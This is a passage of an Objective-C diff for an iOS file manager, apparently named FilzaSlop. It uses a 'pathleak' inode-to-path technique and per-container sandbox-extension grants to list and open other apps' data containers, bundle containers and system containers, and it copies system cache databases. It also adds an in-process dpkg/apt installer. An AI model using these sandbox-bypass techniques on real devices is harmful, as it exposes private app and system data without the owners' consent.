sortUsingComparator:^NSComparisonResult(NSDictionary *a, NSDictionary *b) { + return [a[@"name"] localizedStandardCompare:b[@"name"]]; + }]; + return result; +} + +static NSArray *WQVolumePaths(void) +{ + dispatch_once(&gVolumeOnce, ^{ + NSDate *start = [NSDate date]; + NSArray *roots = @[ + @"/private/var/mobile/Containers/Data/Application", + @"/private/var/mobile/Containers/Shared/AppGroup", + @"/private/var/mobile/Containers/Data/PluginKitPlugin", + @"/private/var/mobile/Containers/Data/InternalDaemon", + @"/private/var/mobile/Containers/Data/System", + @"/private/var/mobile/Containers/Shared/SystemGroup", + @"/private/var/containers/Data/System", + @"/private/var/containers/Shared/SystemGroup", + @"/private/var/containers/Bundle/Application", + ]; + gVolumePaths = pathleak_roots(roots, 1, 5000000); + NSTimeInterval elapsed = -[start timeIntervalSinceNow]; + NSLog(@"[WQ] volume inode scan paths=%lu elapsed=%.1fs", + (unsigned long)gVolumePaths.count, elapsed); + }); + return gVolumePaths ?: @[]; +} + +static NSArray *WQVolumeChildren(NSString *root) +{ + NSString *prefix = [root stringByAppendingString:@"/"]; + NSMutableArray *children = [NSMutableArray array]; + for (NSString *path in WQVolumePaths()) { + if (![path hasPrefix:prefix]) continue; + NSString *remainder = [path substringFromIndex:prefix.length]; + if ([remainder containsString:@"/"]) continue; + [children addObject:path]; + } + return children; +} + +static NSArray *WQEnumerateContainers(NSString *root) +{ + NSFileManager *fm = NSFileManager.defaultManager; + NSError *error = nil; + NSArray *names = [fm contentsOfDirectoryAtPath:root error:&error]; + NSLog(@"[WQ] container root %@ direct entries=%lu error=%@", + root, (unsigned long)names.count, error.localizedDescription ?: @"none"); + if (names.count > 0) { + NSMutableArray *paths = [NSMutableArray arrayWithCapacity:names.count]; + for (NSString *name in names) { + if ([name hasPrefix:@"."]) continue; + [paths addObject:[root stringByAppendingPathComponent:name]]; + } + if (paths.count > 0) return paths; + } + + // iOS 26/27 can hide container entries from directory enumeration even + // when the path itself is visible. The shared volume scan below converts + // inode numbers to paths once and feeds every container family. + NSArray *volumeChildren = WQVolumeChildren(root); + if (volumeChildren.count > 0) { + NSLog(@"[WQ] volume children %@ count=%lu", root, + (unsigned long)volumeChildren.count); + return volumeChildren; + } + + if (!gPathleakCache) gPathleakCache = [NSMutableDictionary dictionary]; + NSArray *cached = gPathleakCache[root]; + if (cached) { + NSLog(@"[WQ] pathleak cache %@ children=%lu", root, + (unsigned long)cached.count); + return cached; + } + + uint64_t maximumInode = 5000000; + NSString *probePath = [NSTemporaryDirectory() stringByAppendingPathComponent: + [NSString stringWithFormat:@".wq-inode-%@", NSUUID.UUID.UUIDString]]; + NSData *probeData = [NSData data]; + if ([probeData writeToFile:probePath atomically:NO]) { + struct stat status = {0}; + if (stat(probePath.fileSystemRepresentation, &status) == 0 && status.st_ino > 0) { + maximumInode = (uint64_t)status.st_ino + (uint64_t)status.st_ino / 10 + 4096; + } + [[NSFileManager defaultManager] removeItemAtPath:probePath error:nil]; + } + struct stat homeStatus = {0}; + if (stat(NSHomeDirectory().fileSystemRepresentation, &homeStatus) == 0 && + homeStatus.st_ino > maximumInode) + maximumInode = (uint64_t)homeStatus.st_ino + (uint64_t)homeStatus.st_ino / 10 + 4096; + if (maximumInode > 5000000) maximumInode = 5000000; + NSLog(@"[WQ] pathleak %@ maxInode=%llu", root, (unsigned long long)maximumInode); + NSArray *leaked = pathleak(root, maximumInode); + NSLog(@"[WQ] pathleak %@ returned=%lu", root, (unsigned long)leaked.count); + NSMutableArray *paths = [NSMutableArray arrayWithCapacity:leaked.count]; + for (NSString *path in leaked ?: @[]) { + if (![path isKindOfClass:NSString.class]) continue; + [paths addObject:path]; + } + gPathleakCache[root] = paths.copy; + return paths; +} + +static void WQDiscoverPerContainerFamilies(void) +{ + NSArray *> *families = @[ + @{ @"path": @"/private/var/containers/Shared/SystemGroup", + @"folder": @"System Groups (containers)" }, + @{ @"path": @"/private/var/mobile/Containers/Shared/SystemGroup", + @"folder": @"System Groups (containers)" }, + @{ @"path": @"/private/var/mobile/Containers/Data/PluginKitPlugin", + @"folder": @"Extension Data (containers)" }, + @{ @"path": @"/private/var/mobile/Containers/Data/InternalDaemon", + @"folder": @"Internal Daemon Data (containers)" }, + ]; + NSString *hub = WQVirtualRootFolder(); + NSUInteger familyIndex = 0; + for (NSDictionary *family in families) { + NSString *root = WQCanonicalPath(family[@"path"]); + NSString *folderName = family[@"folder"]; + if (!WQPathExists(root)) continue; + if ([gGrantedRoots containsObject:root]) continue; + familyIndex++; + WQPostStartupProgress(0.58 + 0.07 * familyIndex, + [NSString stringWithFormat:@"正在加载 %@…", folderName]); + + NSArray *children = WQEnumerateContainers(root); + if (children.count == 0) continue; + NSString *folder = [hub stringByAppendingPathComponent:folderName]; + [NSFileManager.defaultManager createDirectoryAtPath:folder + withIntermediateDirectories:YES attributes:nil error:nil]; + + NSUInteger granted = 0; + for (NSString *child in children) { + if (!WQGrantContainer(child)) continue; + granted++; + NSString *identifier = WQContainerIdentifier(child); + NSString *linkName = WQSafeLinkName(identifier ?: child.lastPathComponent); + WQCreateLink([folder stringByAppendingPathComponent:linkName], child); + } + NSLog(@"[WQ] per-container family %@ children=%lu granted=%lu folder=%@", + root, (unsigned long)children.count, (unsigned long)granted, folder); + } +} + +static NSArray *> *WQBuildAppList(void) +{ + NSString *root = @"/private/var/mobile/Containers/Data/Application"; + // The data-container root itself is often rejected by containermanagerd + // even though each child container is accepted. Always enumerate children + // and request their extensions individually. + WQGrantRoot(root, @"App Data"); + WQPostStartupProgress(0.26, @"正在扫描应用数据容器…"); + NSArray *containers = WQEnumerateContainers(root); + WQPostStartupProgress(0.40, [NSString stringWithFormat: + @"发现 %lu 个数据容器,正在逐个授权…", (unsigned long)containers.count]); + NSUInteger granted = 0; + for (NSString *container in containers) { + if (WQGrantContainer(container)) granted++; + } + WQPostStartupProgress(0.48, @"正在从数据目录识别应用…"); + NSArray *apps = WQAppInfoFromContainers(containers); + WQInstallAppLinks(apps); + NSLog(@"[WQ] app discovery containers=%lu granted=%lu apps=%lu", + (unsigned long)containers.count, (unsigned long)granted, + (unsigned long)apps.count); + return apps; +} + +NSArray *> *WQInstalledApplications(void) +{ + if (!gAppsQueue) gAppsQueue = dispatch_queue_create( + "com.filzaslop.worsequery.apps", DISPATCH_QUEUE_SERIAL); + __block NSArray *value = nil; + dispatch_sync(gAppsQueue, ^{ + NSTimeInterval age = gAppsCacheDate + ? -[gAppsCacheDate timeIntervalSinceNow] : 1e9; + if (!gAppsCache || age > 120) { + gAppsCache = WQBuildAppList(); + gAppsCacheDate = [NSDate date]; + } + value = gAppsCache; + }); + return value ?: @[]; +} + +NSString *WQDataPathForIdentifier(NSString *bundleID) +{ + if (!bundleID.length) return nil; + WQInstalledApplications(); + return gDataMap[bundleID]; +} + +#pragma mark - Bundle map + +static void WQBuildBundleMapIfNeeded(void) +{ + if (!gBundleMapLock) gBundleMapLock = [NSObject new]; + @synchronized (gBundleMapLock) { + if (gBundleMapAttempted) return; + gBundleMapAttempted = YES; + gBundleMap = [NSMutableDictionary dictionary]; + gBundleInfo = [NSMutableDictionary dictionary]; + + NSString *root = @"/private/var/containers/Bundle/Application"; + NSString *prefix = [root stringByAppendingString:@"/"]; + NSArray *volumePaths = WQVolumePaths(); + BOOL bundleInVolume = NO; + for (NSString *path in volumePaths) { + if ([path hasPrefix:prefix]) { bundleInVolume = YES; break; } + } + if (!bundleInVolume && WQPathExists(root)) { + // The bundle container root can live on a different APFS volume from + // the data containers, so the shared scan above may not include it. + NSLog(@"[WQ] bundle root not in shared volume scan; scanning separately"); + volumePaths = pathleak_roots(@[root], 1, 5000000); + NSLog(@"[WQ] bundle-only scan paths=%lu", (unsigned long)volumePaths.count); + } + NSUInteger appBundles = 0; + NSUInteger candidates = 0; + NSUInteger debugCount = 0; + NSUInteger prefixed = 0; + NSUInteger appSuffix = 0; + NSMutableArray *prefixedSamples = [NSMutableArray array]; + + for (NSString *path in volumePaths) { + if (![path hasPrefix:prefix]) continue; + prefixed++; + if ([path hasSuffix:@".app"]) appSuffix++; + if (prefixedSamples.count < 5 && [path hasSuffix:@".app"]) + [prefixedSamples addObject:path]; + NSString *remainder = [path substringFromIndex:prefix.length]; + NSArray *components = [remainder componentsSeparatedByString:@"/"]; + if (components.count != 2) continue; + if (![path hasSuffix:@".app"]) continue; + candidates++; + + // Grant the bundle itself. Bundle containers are not in the published + // worse_query surface, but the same per-container query works on this + // iOS build and lets us read Info.plist for names and icons. + BOOL granted = WQGrantContainer(path); + BOOL parentGranted = NO; + if (!granted) { + NSString *uuidPath = [root stringByAppendingPathComponent:components[0]]; + parentGranted = WQGrantContainer(uuidPath); + } + NSError *readError = nil; + NSDictionary *plist = [NSDictionary dictionaryWithContentsOfFile: + [path stringByAppendingPathComponent:@"Info.plist"]]; + if (debugCount < 3) { + debugCount++; + NSLog(@"[WQ][bundle-debug] path=%@ grant=%d parentGrant=%d plist=%lu", + path, granted, parentGranted, (unsigned long)plist.count); + } + NSString *bundleID = plist[@"CFBundleIdentifier"]; + if (![bundleID isKindOfClass:NSString.class] || !bundleID.length) { + // The directory name is still useful for later LaunchServices + // lookups even when Info.plist is protected. + NSString *appName = [components[1] stringByDeletingPathExtension]; + if (appName.length) gBundleMap[appName] = path; + continue; + } + gBundleMap[bundleID] = path; + NSString *name = plist[@"CFBundleDisplayName"]; + if (!name.length) name = plist[@"CFBundleName"]; + NSString *version = plist[@"CFBundleShortVersionString"]; + if (!version.length) version = plist[@"CFBundleVersion"]; + gBundleInfo[bundleID] = @{ + @"path": path, + @"name": name.length ? name : bundleID, + @"version": version.length ? version : @"1.0", + }; + appBundles++; + } + NSLog(@"[WQ] bundle map prefixed=%lu appSuffix=%lu candidates=%lu apps=%lu samples=%@", + (unsigned long)prefixed, (unsigned long)appSuffix, + (unsigned long)candidates, (unsigned long)appBundles, prefixedSamples); + + // Expose the bundle family in the hub only if at least one app bundle was + // granted, so the user can open an app's .app directory too. + if (appBundles > 0) { + NSString *folder = [WQVirtualRootFolder() + stringByAppendingPathComponent:@"App Bundles"]; + [NSFileManager.defaultManager createDirectoryAtPath:folder + withIntermediateDirectories:YES attributes:nil error:nil]; + NSUInteger linked = 0; + for (NSString *bundleID in gBundleMap) { + NSDictionary *info = gBundleInfo[bundleID]; + NSString *path = info[@"path"] ?: gBundleMap[bundleID]; + if (!path.length) continue; + NSString *linkName = WQSafeLinkName(info[@"name"] + ? [NSString stringWithFormat:@"%@ [%@]", info[@"name"], bundleID] + : bundleID); + if (WQCreateLink([folder stringByAppendingPathComponent:linkName], path)) + linked++; + } + NSLog(@"[WQ] app bundle links=%lu folder=%@", (unsigned long)linked, folder); + } + } +} + +NSString *WQBundlePathForIdentifier(NSString *bundleID) +{ + if (!bundleID.length) return nil; + if (getenv("WQ_BUNDLE_SCAN")) WQBuildBundleMapIfNeeded(); + NSString *mapped = gBundleMap[bundleID]; + if (mapped.length) return mapped; + NSDictionary *info = gBundleInfo[bundleID]; + if ([info[@"path"] isKindOfClass:NSString.class]) return info[@"path"]; + + Class proxyClass = NSClassFromString(@"LSApplicationProxy"); + id proxy = [proxyClass respondsToSelector: + NSSelectorFromString(@"applicationProxyForIdentifier:")] + ? ((id(*)(id, SEL, id))objc_msgSend)(proxyClass, + NSSelectorFromString(@"applicationProxyForIdentifier:"), bundleID) + : nil; + NSURL *bundleURL = [proxy respondsToSelector:@selector(bundleURL)] + ? ((id(*)(id, SEL))objc_msgSend)(proxy, @selector(bundleURL)) : nil; + if ([bundleURL isKindOfClass:NSURL.class] && bundleURL.path.length) + return bundleURL.path; + return nil; +} + +#pragma mark - Name diagnostics + +static void WQDiagnoseAppNames(void) +{ + static BOOL ran; + if (ran) return; + ran = YES; + + Class proxyClass = NSClassFromString(@"LSApplicationProxy"); + unsigned int count = 0; + Method *methods = class_copyMethodList(proxyClass, &count); + NSMutableArray *interesting = [NSMutableArray array]; + NSMutableArray *workspaceInteresting = [NSMutableArray array]; + for (unsigned int index = 0; index < count; index++) { + NSString *name = NSStringFromSelector(method_getName(methods[index])); + NSString *lower = name.lowercaseString; + if ([lower containsString:@"name"] || [lower containsString:@"display"] || + [lower containsString:@"title"] || [lower containsString:@"bundleurl"] || + [lower containsString:@"container"]) { + if (method_getNumberOfArguments(methods[index]) == 2) + [interesting addObject:name]; + } + } + free(methods); + NSLog(@"[WQ][names] LSApplicationProxy zero-arg methods=%@", interesting); + + id proxy = [proxyClass respondsToSelector: + NSSelectorFromString(@"applicationProxyForIdentifier:")] + ? ((id(*)(id, SEL, id))objc_msgSend)(proxyClass, + NSSelectorFromString(@"applicationProxyForIdentifier:"), @"com.rosiepie.flora") + : nil; + for (NSString *selectorName in interesting) { + SEL selector = NSSelectorFromString(selectorName); + if (![proxy respondsToSelector:selector]) continue; + @try { + id value = ((id(*)(id, SEL))objc_msgSend)(proxy, selector); + NSLog(@"[WQ][names] proxy %@ => %@ (%@)", selectorName, + [value isKindOfClass:NSString.class] || + [value isKindOfClass:NSURL.class] || + [value isKindOfClass:NSNumber.class] ? value : NSStringFromClass([value class]), + NSStringFromClass([value class])); + } @catch (NSException *exception) { + NSLog(@"[WQ][names] proxy %@ threw %@", selectorName, exception.reason); + } + } + + Class workspaceClass = NSClassFromString(@"LSApplicationWorkspace"); + methods = class_copyMethodList(workspaceClass, &count); + for (unsigned int index = 0; index < count; index++) { + NSString *name = NSStringFromSelector(method_getName(methods[index])); + NSString *lower = name.lowercaseString; + if (([lower containsString:@"application"] || [lower containsString:@"installed"]) && + method_getNumberOfArguments(methods[index]) == 2) + [workspaceInteresting addObject:name]; + } + free(methods); + NSLog(@"[WQ][names] LSApplicationWorkspace zero-arg methods=%@", workspaceInteresting); + + void *handle = dlopen("/System/Library/PrivateFrameworks/MobileInstallation.framework/MobileInstallation", RTLD_LAZY); + if (handle) { + typedef int (*LookupFn)(CFDictionaryRef, CFDictionaryRef *); + LookupFn lookup = (LookupFn)dlsym(handle, "MobileInstallationLookup"); + if (lookup) { + CFDictionaryRef info = NULL; + int result = lookup(NULL, &info); + NSDictionary *dictionary = info ? (__bridge NSDictionary *)info : nil; + NSLog(@"[WQ][names] MobileInstallationLookup result=%d apps=%lu sample=%@", + result, (unsigned long)dictionary.count, + dictionary.count ? [dictionary.allKeys.firstObject description] : @"none"); + if (info) CFRelease(info); + } else { + NSLog(@"[WQ][names] MobileInstallationLookup symbol missing"); + } + dlclose(handle); + } else { + NSLog(@"[WQ][names] MobileInstallation dlopen failed"); + } + + NSString *systemRoot = @"/private/var/containers/Data/System"; + NSArray *systemEntries = [NSFileManager.defaultManager + contentsOfDirectoryAtPath:systemRoot error:nil]; + NSLog(@"[WQ][names] SystemData entries=%@", systemEntries); + NSFileManager *fm = NSFileManager.defaultManager; + for (NSString *uuid in systemEntries ?: @[]) { + NSString *container = [systemRoot stringByAppendingPathComponent:uuid]; + NSString *caches = [container stringByAppendingPathComponent:@"Library/Caches"]; + NSArray *cacheEntries = [fm contentsOfDirectoryAtPath:caches error:nil]; + if (cacheEntries.count == 0) continue; + NSLog(@"[WQ][names] system container=%@ caches=%@", uuid, cacheEntries); + for (NSString *name in cacheEntries) { + if (![name hasSuffix:@".csstore"] && ![name hasSuffix:@".db"] && + ![name hasSuffix:@".plist"] && ![name hasSuffix:@".sqlite"]) continue; + NSString *source = [caches stringByAppendingPathComponent:name]; + NSDictionary *attributes = [fm attributesOfItemAtPath:source error:nil]; + if ([attributes[NSFileSize] unsignedLongLongValue] > 64 * 1024 * 1024) + continue; + NSString *destination = [MCMFilzaVirtualRoot() + stringByAppendingPathComponent: + [@"store-" stringByAppendingString:name]]; + BOOL copied = [fm copyItemAtPath:source toPath:destination error:nil]; + NSLog(@"[WQ][names] store file %@ size=%llu copied=%d -> %@", name, + [attributes[NSFileSize] unsignedLongLongValue], copied, destination); + } + } +} + +#pragma mark - Startup progress + +static void WQPostStartupProgress(double progress, NSString *status) +{ + if (!gStartupActive) return; + NSDictionary *info = @{ @"progress": @(progress), @"status": status ?: @"" }; + dispatch_async(dispatch_get_main_queue(), ^{ + [[NSNotificationCenter defaultCenter] + postNotificationName:@"WQStartupProgress" object:nil userInfo:info]; + }); +} + +static void WQPostStartupFinished(void) +{ + gStartupActive = NO; + dispatch_async(dispatch_get_main_queue(), ^{ + [[NSNotificationCenter defaultCenter] + postNotificationName:@"WQStartupFinished" object:nil]; + }); +} + +#pragma mark - Public entry + +void WQFilzaStart(void) +{ + if (gStarted) return; + gStarted = YES; + gStartupActive = YES; + gQueryLock = [NSLock new]; + gAppsLock = [NSLock new]; + gStartupGroup = dispatch_group_create(); + + WQPostStartupProgress(0.02, @"正在准备 worse_query…"); + + NSString *group = WQBestAppGroup(); + if (!group.length) { + NSLog(@"[WQ] disabled: no provisioned App Group. Normal signing needs " + @"a profile with com.apple.security.application-groups."); + WQPostStartupProgress(0.05, @"未找到 App Group,请检查签名配置"); + WQPostStartupFinished(); + return; + } + + NSLog(@"[WQ] starting with group=%@ os=%@", group, + NSProcessInfo.processInfo.operatingSystemVersionString); + WQPostStartupProgress(0.06, @"已找到 App Group,正在申请沙盒扩展…"); + + NSUInteger granted = 0; + for (NSDictionary *root in WQCandidateRoots()) { + if (WQGrantRoot(root[@"path"], root[@"name"])) granted++; + } + NSLog(@"[WQ] roots granted=%lu/%lu active=%d", (unsigned long)granted, + (unsigned long)WQCandidateRoots().count, WQIsActive()); + WQPostStartupProgress(0.18, [NSString stringWithFormat: + @"根目录扩展 %lu/%lu,正在加载应用数据…", + (unsigned long)granted, (unsigned long)WQCandidateRoots().count]); + + WQInstallVirtualRoot(); + WQScheduleFavorites(); + + // Build the app-container index before the user opens Apps manager. + if (!gAppsQueue) gAppsQueue = dispatch_queue_create( + "com.filzaslop.worsequery.apps", DISPATCH_QUEUE_SERIAL); + if (!gFamiliesQueue) gFamiliesQueue = dispatch_queue_create( + "com.filzaslop.worsequery.families", DISPATCH_QUEUE_SERIAL); + + // App containers are the priority: the Apps manager must populate before + // the slower system-group sweep begins. + dispatch_group_enter(gStartupGroup); + dispatch_async(gAppsQueue, ^{ + WQPostStartupProgress(0.24, @"正在枚举应用数据容器…"); + if (!gAppsCache) gAppsCache = WQBuildAppList(); + gAppsCacheDate = [NSDate date]; + if (getenv("WQ_BUNDLE_SCAN")) WQBuildBundleMapIfNeeded(); + NSLog(@"[WQ] app prewarm complete apps=%lu", + (unsigned long)(gAppsCache ?: @[]).count); + WQDiagnoseAppNames(); + WQPostStartupProgress(0.55, [NSString stringWithFormat: + @"已识别 %lu 个应用,正在加载系统目录…", + (unsigned long)(gAppsCache ?: @[]).count]); + dispatch_async(dispatch_get_main_queue(), ^{ WQInstallFavorites(); }); + dispatch_group_leave(gStartupGroup); + }); + + dispatch_group_enter(gStartupGroup); + dispatch_async(gFamiliesQueue, ^{ + WQPostStartupProgress(0.58, @"正在枚举系统组与扩展目录…"); + WQDiscoverPerContainerFamilies(); + NSLog(@"[WQ] family prewarm complete grants=%lu roots=%lu", + (unsigned long)gGrantHandles.count, + (unsigned long)WQAccessibleRoots().count); + WQPostStartupProgress(0.90, @"正在生成收藏夹与访问链接…"); + dispatch_async(dispatch_get_main_queue(), ^{ WQInstallFavorites(); }); + dispatch_group_leave(gStartupGroup); + }); + + dispatch_group_notify(gStartupGroup, dispatch_get_main_queue(), ^{ + WQInstallFavorites(); + WQPostStartupProgress(1.0, @"准备完成"); + NSLog(@"[WQ] startup complete apps=%lu grants=%lu roots=%lu", + (unsigned long)WQInstalledApplications().count, + (unsigned long)gGrantHandles.count, + (unsigned long)WQAccessibleRoots().count); + WQPostStartupFinished(); + }); + + if (!WQIsActive()) { + NSLog(@"[WQ] no supported root could be granted; check the App Group " + @"entitlement and the iOS version."); + } +} + +#pragma mark - Proxy stand-in + +@implementation WQApplicationProxy + +- (instancetype)initWithAppInfo:(NSDictionary *)info +{ + self = [super init]; + if (!self) return nil; + NSString *bundleID = info[@"bundleID"]; + _applicationIdentifier = bundleID ?: @""; + _bundleIdentifier = bundleID ?: @""; + _localizedName = info[@"name"] ?: bundleID ?: @""; + _bundleVersion = info[@"version"] ?: @"1.0"; + _shortVersionString = _bundleVersion; + _applicationType = @"User"; + _vendorName = bundleID ?: @""; + NSString *bundlePath = info[@"bundlePath"]; + if (bundlePath.length) _bundleURL = [NSURL fileURLWithPath:bundlePath]; + NSString *dataPath = info[@"dataPath"]; + if (dataPath.length) _dataContainerURL = [NSURL fileURLWithPath:dataPath]; + return self; +} + +- (NSDictionary *)iconsDictionary { return @{}; } +- (id)iconDataForVariant:(id)variant { return nil; } +- (NSNumber *)staticDiskUsage { return @0; } +- (NSNumber *)dynamicDiskUsage { return @0; } +- (BOOL)isDeletable { return YES; } +- (BOOL)isPlaceholder { return NO; } +- (BOOL)isSystem { return NO; } + +@end diff --git a/WQPackages.h b/WQPackages.h new file mode 100644 index 0000000..3e97b0f --- /dev/null +++ b/WQPackages.h @@ -0,0 +1,13 @@ +#import + +/// In-process dpkg/apt. Packages are installed under Documents/.terminal/root +/// because a normally signed app cannot write to /usr. +FOUNDATION_EXPORT int WQDPKGMain(int argc, char * _Nonnull * _Nonnull argv, + FILE * _Nonnull out, FILE * _Nonnull err); +FOUNDATION_EXPORT int WQAptMain(int argc, char * _Nonnull * _Nonnull argv, + FILE * _Nonnull out, FILE * _Nonnull err); +FOUNDATION_EXPORT BOOL WQInstallDebPackage(NSString * _Nonnull path, + NSString * _Nullable * _Nullable message); + +/// Returns the control fields of a .deb as display text (dpkg --info style). +FOUNDATION_EXPORT NSString * _Nullable WQDebInfoText(NSString * _Nonnull path); diff --git a/WQPackages.m b/WQPackages.m new file mode 100644 index 0000000..60acb22 --- /dev/null +++ b/WQPackages.m @@ -0,0 +1,757 @@ +// +// WQPackages.m +// FilzaSlop +// +// In-process dpkg/apt for the normally signed build. Packages are unpacked +// under Documents/.terminal/root; this is a plugin/utility prefix, not the +// system root, because the app is sandboxed. +// + +#import "WQPackages.h" + +#import +#import +#import +#import +#import +#import + +typedef struct archive WQArchive; +typedef struct archive_entry WQArchiveEntry; + +#define WQ_ARCHIVE_OK 0 +#define ARCHIVE_OK 0 +#define WQ_AE_IFMT 0170000 +#define WQ_AE_IFREG 0100000 +#define WQ_AE_IFDIR 0040000 +#define WQ_AE_IFLNK 0120000 + +extern WQArchive *archive_read_new(void); +extern int archive_read_support_filter_all(WQArchive *); +extern int archive_read_support_format_all(WQArchive *); +extern int archive_read_support_format_raw(WQArchive *); +extern int archive_read_open_memory(WQArchive *, const void *, size_t); +extern int archive_read_next_header(WQArchive *, WQArchiveEntry **); +extern const char *archive_entry_pathname(WQArchiveEntry *); +extern const char *archive_entry_symlink(WQArchiveEntry *); +extern mode_t archive_entry_perm(WQArchiveEntry *); +extern mode_t archive_entry_filetype(WQArchiveEntry *); +extern long long archive_entry_size(WQArchiveEntry *); +extern ssize_t archive_read_data(WQArchive *, void *, size_t); +extern int archive_read_data_skip(WQArchive *); +extern int archive_read_free(WQArchive *); +extern const char *archive_error_string(WQArchive *); + +static NSString *WQPackageRoot(void) +{ + NSString *configured = NSProcessInfo.processInfo.environment[@"TERM_ROOT"]; + if (configured.length) return configured; + NSString *documents = NSSearchPathForDirectoriesInDomains( + NSDocumentDirectory, NSUserDomainMask, YES).firstObject; + return [documents stringByAppendingPathComponent:@".terminal"]; +} + +static NSString *WQInstallRoot(void) +{ + return [WQPackageRoot() stringByAppendingPathComponent:@"root"]; +} + +static NSString *WQStatusPath(void) +{ + return [WQPackageRoot() stringByAppendingPathComponent:@"var/lib/dpkg/status"]; +} + +static NSString *WQInfoDirectory(void) +{ + return [WQPackageRoot() stringByAppendingPathComponent:@"var/lib/dpkg/info"]; +} + +static void WQEnsurePackageDirectories(void) +{ + NSFileManager *fm = NSFileManager.defaultManager; + NSArray *directories = @[ + WQPackageRoot(), + WQInstallRoot(), + WQInfoDirectory(), + [WQPackageRoot() stringByAppendingPathComponent:@"var/lib/apt/lists"], + [WQPackageRoot() stringByAppendingPathComponent:@"var/cache/apt/archives"], + [WQPackageRoot() stringByAppendingPathComponent:@"etc/apt"], + [WQPackageRoot() stringByAppendingPathComponent:@"tmp"], + ]; + for (NSString *directory in directories) + [fm createDirectoryAtPath:directory withIntermediateDirectories:YES + attributes:nil error:nil]; + NSString *status = WQStatusPath(); + if (![fm fileExistsAtPath:status]) + [@"" writeToFile:status atomically:YES encoding:NSUTF8StringEncoding error:nil]; +} + +#pragma mark - ar / deb + +static NSData *WQArMember(NSData *archive, NSString *namePrefix) +{ + const uint8_t *bytes = archive.bytes; + NSUInteger length = archive.length; + if (length < 8 || memcmp(bytes, "!\n", 8) != 0) return nil; + NSUInteger offset = 8; + while (offset + 60 <= length) { + const uint8_t *header = bytes + offset; + NSString *name = [[[NSString alloc] initWithBytes:header length:16 + encoding:NSASCIIStringEncoding] stringByTrimmingCharactersInSet: + NSCharacterSet.whitespaceCharacterSet]; + name = [name stringByTrimmingCharactersInSet: + [NSCharacterSet characterSetWithCharactersInString:@"/"]]; + NSString *sizeText = [[[NSString alloc] initWithBytes:header + 48 length:10 + encoding:NSASCIIStringEncoding] stringByTrimmingCharactersInSet: + NSCharacterSet.whitespaceCharacterSet]; + NSUInteger size = (NSUInteger)sizeText.longLongValue; + offset += 60; + if (offset + size > length) break; + if ([name hasPrefix:namePrefix]) + return [archive subdataWithRange:NSMakeRange(offset, size)]; + offset += size + (size & 1); + } + return nil; +} + +static NSString *WQArchivePath(NSString *raw) +{ + NSString *path = raw; + while ([path hasPrefix:@"./"]) path = [path substringFromIndex:2]; + while ([path hasPrefix:@"/"]) path = [path substringFromIndex:1]; + if ([path hasPrefix:@"var/jb/"]) path = [path substringFromIndex:7]; + if (path.length == 0 || [path containsString:@".."]) return nil; + return path; +} + +static BOOL WQExtractArchiveData(NSData *archiveData, NSString *destination, + NSMutableArray *installedFiles) +{ + if (!archiveData.length) return NO; + WQArchive *archive = archive_read_new(); + if (!archive) return NO; + archive_read_support_filter_all(archive); + archive_read_support_format_all(archive); + if (archive_read_open_memory(archive, archiveData.bytes, + archiveData.length) != ARCHIVE_OK) { + archive_read_free(archive); + return NO; + } + + NSFileManager *fm = NSFileManager.defaultManager; + struct archive_entry *entry; + BOOL success = YES; + while (archive_read_next_header(archive, &entry) == WQ_ARCHIVE_OK) { + const char *rawName = archive_entry_pathname(entry); + if (!rawName) { archive_read_data_skip(archive); continue; } + NSString *relative = WQArchivePath([NSString stringWithUTF8String:rawName]); + if (!relative.length) { archive_read_data_skip(archive); continue; } + NSString *target = [destination stringByAppendingPathComponent:relative]; + mode_t filetype = archive_entry_filetype(entry); + mode_t permissions = archive_entry_perm(entry); + if (filetype == WQ_AE_IFDIR) { + [fm createDirectoryAtPath:target withIntermediateDirectories:YES + attributes:@{ NSFilePosixPermissions: @(permissions ?: 0755) } + error:nil]; + continue; + } + [fm createDirectoryAtPath:target.stringByDeletingLastPathComponent + withIntermediateDirectories:YES attributes:nil error:nil]; + if (filetype == WQ_AE_IFLNK) { + const char *link = archive_entry_symlink(entry); + [fm removeItemAtPath:target error:nil]; + if (link && symlink(link, target.fileSystemRepresentation) == 0) + [installedFiles addObject:relative]; + } else if (filetype == WQ_AE_IFREG) { + int descriptor = open(target.fileSystemRepresentation, + O_WRONLY | O_CREAT | O_TRUNC, permissions ?: 0644); + if (descriptor < 0) { success = NO; archive_read_data_skip(archive); continue; } + uint8_t buffer[65536]; + ssize_t got; + while ((got = archive_read_data(archive, buffer, sizeof(buffer))) > 0) { + ssize_t written = 0; + while (written < got) { + ssize_t step = write(descriptor, buffer + written, + (size_t)(got - written)); + if (step <= 0) break; + written += step; + } + } + close(descriptor); + chmod(target.fileSystemRepresentation, permissions ?: 0644); + [installedFiles addObject:relative]; + } else { + archive_read_data_skip(archive); + } + } + archive_read_free(archive); + return success; +} + +static NSData *WQArchiveEntryNamed(NSData *archiveData, NSString *wanted) +{ + WQArchive *archive = archive_read_new(); + if (!archive) return nil; + archive_read_support_filter_all(archive); + archive_read_support_format_all(archive); + if (archive_read_open_memory(archive, archiveData.bytes, + archiveData.length) != ARCHIVE_OK) { + archive_read_free(archive); + return nil; + } + struct archive_entry *entry; + NSData *result = nil; + while (archive_read_next_header(archive, &entry) == WQ_ARCHIVE_OK) { + const char *name = archive_entry_pathname(entry); + if (name && (strcmp(name, wanted.UTF8String) == 0 || + strcmp(name + (strlen(name) > 2 && name[0] == '.' && + name[1] == '/' ? 2 : 0), wanted.UTF8String) == 0)) { + NSMutableData *data = [NSMutableData data]; + uint8_t buffer[65536]; + ssize_t got; + while ((got = archive_read_data(archive, buffer, sizeof(buffer))) > 0) + [data appendBytes:buffer length:(NSUInteger)got]; + result = data; + break; + } + archive_read_data_skip(archive); + } + archive_read_free(archive); + return result; +} + +static NSDictionary *WQParseControl(NSString *control) +{ + NSMutableDictionary *fields = [NSMutableDictionary dictionary]; + NSString *currentKey = nil; + NSMutableString *currentValue = nil; + for (NSString *line in [control componentsSeparatedByString:@"\n"]) { + if (line.length == 0) continue; + if ([line hasPrefix:@" "] || [line hasPrefix:@"\t"]) { + if (currentKey && currentValue) + [currentValue appendFormat:@"\n%@", [line stringByTrimmingCharactersInSet: + NSCharacterSet.whitespaceCharacterSet]]; + continue; + } + NSRange colon = [line rangeOfString:@":"]; + if (colon.location == NSNotFound) continue; + if (currentKey && currentValue) fields[currentKey] = currentValue.copy; + currentKey = [[line substringToIndex:colon.location] + stringByTrimmingCharactersInSet:NSCharacterSet.whitespaceCharacterSet]; + currentValue = [[[line substringFromIndex:colon.location + 1] + stringByTrimmingCharactersInSet:NSCharacterSet.whitespaceCharacterSet] mutableCopy]; + } + if (currentKey && currentValue) fields[currentKey] = 